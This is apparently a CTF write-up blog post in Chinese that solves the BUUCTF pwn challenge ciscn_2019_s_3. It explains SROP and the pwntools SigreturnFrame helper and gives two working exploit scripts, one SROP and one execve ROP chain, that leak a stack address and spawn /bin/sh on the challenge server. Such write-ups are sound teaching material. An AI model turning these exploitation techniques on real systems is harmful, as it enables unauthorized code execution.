【BUUCTFPwn】Ciscn_2019_s_3 | SROP SigreturnFrame函数使用

在这里插入图片描述
64位程序,开启了NX
在这里插入图片描述
程序的主要部分,使用syscall调用了readwrite两个系统调用。

syscall

系统调用,指的是用户空间的程序向操作系统内核请求需要更高权限的服务,比如 IO 操作或者进程间通信。系统调用提供用户程序与操作系统间的接口,部分库函数(如 scanf,puts 等 IO 相关的函数实际上是对系统调用的封装 (read 和 write))。

32位与64位 系统调用的区别:

  1. 传参方式不同
  2. 系统调用号 不同
  3. 调用方式 不同

64位程序进行系统调用的方式

传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器
调用号:sys_read 的调用号 为 0 sys_write 的调用号 为 1
stub_execve 的调用号 为 59
stub_rt_sigreturn 的调用号 为 15
调用方式: 使用 syscall 进行系统调用

gadget函数中存放了两个设置rax的语句,分别将rax设置为15和59。
在这里插入图片描述
其中sigreturn是一个系统调用,在类 unix 系统发生 signal 的时候会被间接地调用

对于sigerturn这个系统调用可以参考ctf-wiki,所以这题有一个srop的考点

ctfwiki-srop

srop的攻击原理

仔细回顾一下内核在 signal 信号处理的过程中的工作,我们可以发现,内核主要做的工作就是为进程保存上下文,并且恢复上下文。这个主要的变动都在 Signal Frame 中。但是需要注意的是:
Signal Frame 被保存在用户的地址空间中,所以用户是可以读写的。

由于内核与信号处理程序无关 (kernel agnostic about signal handlers),它并不会去记录这个 signal 对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。

所以可以通过read伪造一个frame在栈中,然后执行sigreturn的系统调用,对于frame的伪造可以利用pwntools中的SigreturnFrame()函数

解法1——SROP

构造/bin/sh字符串并获取其地址

思路:利用栈溢出首先利用本题的sys_read去读一个/bin/sh,但是需要我们leak出字符串在栈中的地址,因为栈中的位置都是通过偏移确定的,所以要确定栈偏移。

找偏移一般先确定栈的地址然后在确定字符串在栈中的地址:
栈地址-字符串在栈中的地址 = offset
每次在运行程序中,字符串相对于栈基地址的offset是相同的

在main函数开始时rsi存的便是栈地址,我们通过GDB来调试查看,栈基地址为e058
在这里插入图片描述
接着我们使用sstep命令接着运行,输入字符串/bin/sh,然后使用search功能搜索字符串,找到我们输入的字符串在栈上的位置,可以看到地址为df30
在这里插入图片描述
此时我们可以计算出输入的字符串到基地址的偏移,为:
e058 - df30 =0x128

这一步计算的是有问题的,我是用的虚拟机是ubuntu20,题目中给的环境是ubuntu18,我参考的博客算出来的offset是0x118。(原因我知道了,是我没有更换程序运行时使用的libc文件,这一步要是用patchelf更换ELF文件的动态连接器和libc,然后在进行调试。)

获取栈基地址

在这里插入图片描述
这时候我们查看一下/bin/sh字符串附近的内容,看到我们的基地址e058在相对偏移为0x20的地方,IDA中我们之前看到,write系统调用打印出了0x30个字节的数据,这说明我们可以接受到输出的基地址。

实际上这一步我们的最终目标是要找到/bin/sh字符串的地址,明显的程序中只有一个write函数进行了输出,我们的思路就是从输出的这0x30个字节中,找到可以用来计算/bin/sh地址的部分。最终,我们挑选的就是栈基地址e058。这个栈基地址是怎么被发现的,暂不清楚。

使用pwntools中的SigreturnFrame函数构造帧

ROP方法的思路都是通过gadgets设置寄存器的值来实现漏洞利用的,SROP也是从属于ROP方法中的一员。它利用了Linux系统信号处理过程中的漏洞,即在信号处理过程中会将用户态上下文环境及寄存器的值保存在用户态的栈中,处理完后再读取栈中的数据恢复寄存器的值。sigreturn系统调用就是处理完后那一阶段执行的系统调用,它会读取当前栈空间中的数据作为寄存器的值。因此这里我们利用栈溢出漏洞和sigreturn系统调用就可以实现SROP的攻击方法。首先利用栈溢出将返回地址设置为实现sigreturn系统调用的gadget,然后再将其后面的栈空间布置成我们想要设置的寄存器的值。待sigreturn系统调用执行完毕,此时的寄存器值,包括RSP/ESP和RIP/EIP都会被改变,所以SROP强大之处就是改变了所有的寄存器,这可以让我们实现任何想要的系统调用,但附带效果就是会改变栈顶指针RSP/ESP,有时候这并不是我们想要的。

SigreturnFrame使用教程
from pwn import *

# 64位
# sigreturn 代表可以触发sigreturn调用的地址
# 其gadgets如下,只要使rax = 0xf,然后进行系统调用
"""
0x001 mov rax, 0Fh
0x002 syscall
0x003 ret
"""
sigreturn = 0x001
syscall = 0x002  # syscall gadget

context.arch = "amd64"
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh_addr  # "/bin/sh\x00"
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall

pad = padding + bytes(frame)  # python3
p.send(pad)
p.interactive()

# 32位注意以下几个方面
# 1、上下文初始化
# context.arch = "i386"
# frame = SigreturnFrame(kernel="i386")
# 2、frame.eax = xx  注意寄存器的名字
# 3、syscall指令在32位下可以找int 80

完整exp

from pwn import *
context.binary = './ciscn_2019_s_3'
elf = context.binary
io = remote('node4.buuoj.cn',25277)

#main_addr = elf.symbol['main'] #0x4004ed
read_write = 0x4004f1  #ida
sigreturn = 0x4004da   #ida
system_call = 0x400517 #ida

payload = b'/bin/sh\x00' + b'a'*0x8 + p64(read_write)
io.send(payload)
io.recv(0x20)
#这里是接收0x20字节之后,再接收0x8的字节也就是栈地址
binsh_addr = u64(io.recv(0x8)) - 0x118	

log.success('stack_addr: ' + hex(binsh_addr+0x118))
log.success('/bin/sh_offset_addr: ' + hex(binsh_addr))
#构建伪造的frame,在执行sigreturn时执行execve("/bin/sh",0,0)来getshell
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = system_call

payload = b'a'*0x10 + p64(sigreturn) + p64(system_call) + bytes(frame)
io.send(payload)
io.interactive()               

我特别想知道是如何发现与/bin/sh字符串相差0x20的那个地方是栈基地址的。看着跟变魔术一样。

解法2——构造execve调用

59号系统调用是execve那么就可以想办法控制寄存器的值调用execve("/bin/sh”,0,0),注意在调用execve时,后面两个参数需要置0,由于需要控制rdx的值,所以选择使用通用gadget,__libc_csu_init(不知道为什么使用ROPgadget没办法找到mov的gadget)。
在这里插入图片描述
r13的值会给到rdx,让rbx=0,下面call的时候会变为call [r12],会去call r12指向位置的代码,我们可以调到后面的rop执行,所以需要知道栈的地址,我们获取/bin/sh字符串时也需要知道栈地址。这题刚好在write的时候0x28这个位置是栈上的值,于是通过计算可以得到栈上/bin/sh的地址,即rsp-0x10的值。

from pwn import *

#io=process('./ciscn_2019_s_3')
io = remote('node4.buuoj.cn',28247)
main=0x0004004ED
execv=0x04004E2
pop_rdi=0x4005a3
pop_rbx_rbp_r12_r13_r14_r15=0x40059A
mov_rdxr13_call=0x0400580
sys=0x00400517

pl1=b'/bin/sh\x00'*2+p64(main)
io.send(pl1)
io.recv(0x20)
sh=u64(io.recv(8))-280
print(hex(sh))

pl2=b'/bin/sh\x00'*2+p64(pop_rbx_rbp_r12_r13_r14_r15)+p64(0)*2+p64(sh+0x50)+p64(0)*3
pl2+=p64(mov_rdxr13_call)+p64(execv)
pl2+=p64(pop_rdi)+p64(sh)+p64(sys)
io.send(pl2)

io.interactive()

参考链接

BUUCTF Pwn Ciscn_2019_s_3 NiceSeven
pwntools–SROP工具类SigreturnFrame使用详解

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值